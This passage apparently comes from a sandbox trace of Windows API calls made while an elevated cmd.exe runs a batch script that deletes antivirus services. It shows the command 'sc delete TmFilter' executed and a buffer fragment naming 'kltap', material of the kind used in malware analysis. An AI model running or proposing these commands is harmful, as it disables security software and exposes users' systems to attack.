lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.276] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.276] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.276] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.276] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.276] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.276] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.276] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.276] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.276] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.276] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.276] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.276] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.276] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.276] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.276] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.276] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.276] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.276] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.276] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.276] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.276] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.276] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.276] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.277] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.277] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.277] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="Tltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.277] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.277] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.277] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="mtap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.277] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.277] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.277] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="Fap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.277] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.277] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.277] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="ip\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.277] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.277] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.277] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="l\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.277] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.277] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.277] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="t.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.277] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.277] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.278] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.278] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="e0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.278] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.278] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.278] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.278] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="r.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.278] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.278] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.278] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.278] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.278] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.278] GetFileType (hFile=0xb8) returned 0x3 [0073.278] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.278] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.278] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.278] GetFileType (hFile=0x120) returned 0x3 [0073.278] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TmFilter\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TmFilter\n", lpUsedDefaultChar=0x0) returned 20 [0073.278] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x13, lpOverlapped=0x0) returned 1 [0073.278] GetProcessHeap () returned 0x4a0000 [0073.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0073.278] GetProcessHeap () returned 0x4a0000 [0073.278] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0073.278] GetProcessHeap () returned 0x4a0000 [0073.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0073.278] GetProcessHeap () returned 0x4a0000 [0073.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0073.278] GetProcessHeap () returned 0x4a0000 [0073.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x32) returned 0x4b6510 [0073.279] GetConsoleOutputCP () returned 0x1b5 [0073.279] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.279] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.279] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.279] GetProcessHeap () returned 0x4a0000 [0073.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0073.279] GetProcessHeap () returned 0x4a0000 [0073.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x38) returned 0x4b6550 [0073.279] GetProcessHeap () returned 0x4a0000 [0073.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0073.279] SetErrorMode (uMode=0x0) returned 0x1 [0073.279] SetErrorMode (uMode=0x1) returned 0x0 [0073.279] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0073.279] SetErrorMode (uMode=0x1) returned 0x1 [0073.279] GetProcessHeap () returned 0x4a0000 [0073.279] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0073.279] GetProcessHeap () returned 0x4a0000 [0073.279] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0073.280] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.280] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.280] GetProcessHeap () returned 0x4a0000 [0073.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0073.280] GetProcessHeap () returned 0x4a0000 [0073.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0073.280] GetProcessHeap () returned 0x4a0000 [0073.280] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0073.280] GetProcessHeap () returned 0x4a0000 [0073.280] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0073.280] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.280] GetProcessHeap () returned 0x4a0000 [0073.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0073.280] GetProcessHeap () returned 0x4a0000 [0073.280] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0073.280] GetProcessHeap () returned 0x4a0000 [0073.280] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0073.280] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.280] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.280] GetLastError () returned 0x2 [0073.280] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.280] GetLastError () returned 0x2 [0073.280] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.281] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.281] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.281] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.281] GetLastError () returned 0x2 [0073.281] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.281] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.281] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.281] GetProcessHeap () returned 0x4a0000 [0073.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0073.281] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.281] GetProcessHeap () returned 0x4a0000 [0073.281] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x9e) returned 0x4b9180 [0073.281] GetProcessHeap () returned 0x4a0000 [0073.281] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x9e [0073.281] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TmFilter") returned 1 [0073.282] GetProcessHeap () returned 0x4a0000 [0073.282] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0073.282] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0073.282] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0073.282] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.282] GetProcessHeap () returned 0x4a0000 [0073.282] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0073.282] GetProcessHeap () returned 0x4a0000 [0073.282] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0073.282] GetProcessHeap () returned 0x4a0000 [0073.282] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0073.282] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TmFilter", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TmFilter", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete TmFilter", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x358, dwThreadId=0x484)) returned 1 [0073.288] CloseHandle (hObject=0x50) returned 1 [0073.288] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.288] GetProcessHeap () returned 0x4a0000 [0073.288] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.288] GetEnvironmentStringsW () returned 0x4bba10* [0073.288] GetProcessHeap () returned 0x4a0000 [0073.288] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0073.288] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0073.288] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0073.289] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd5000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0073.289] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0073.331] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0073.331] CloseHandle (hObject=0x54) returned 1 [0073.331] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0073.331] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.331] GetProcessHeap () returned 0x4a0000 [0073.331] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0073.331] GetEnvironmentStringsW () returned 0x4c1b10* [0073.331] GetProcessHeap () returned 0x4a0000 [0073.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.331] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.331] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.331] GetProcessHeap () returned 0x4a0000 [0073.331] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.331] GetEnvironmentStringsW () returned 0x4bba10* [0073.331] GetProcessHeap () returned 0x4a0000 [0073.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0073.331] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0073.331] GetProcessHeap () returned 0x4a0000 [0073.331] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0073.331] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0073.331] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.332] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.332] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.332] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.332] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0073.332] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.332] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0073.332] GetConsoleOutputCP () returned 0x1b5 [0073.332] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.332] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.333] GetProcessHeap () returned 0x4a0000 [0073.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0073.333] GetProcessHeap () returned 0x4a0000 [0073.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0073.333] GetProcessHeap () returned 0x4a0000 [0073.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0073.333] GetProcessHeap () returned 0x4a0000 [0073.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0073.333] GetProcessHeap () returned 0x4a0000 [0073.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0073.333] GetProcessHeap () returned 0x4a0000 [0073.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0073.333] GetProcessHeap () returned 0x4a0000 [0073.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0073.333] GetProcessHeap () returned 0x4a0000 [0073.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0073.333] GetProcessHeap () returned 0x4a0000 [0073.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0073.333] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0073.333] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.333] GetFileType (hFile=0x120) returned 0x3 [0073.333] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.333] WideCharToMultiByte 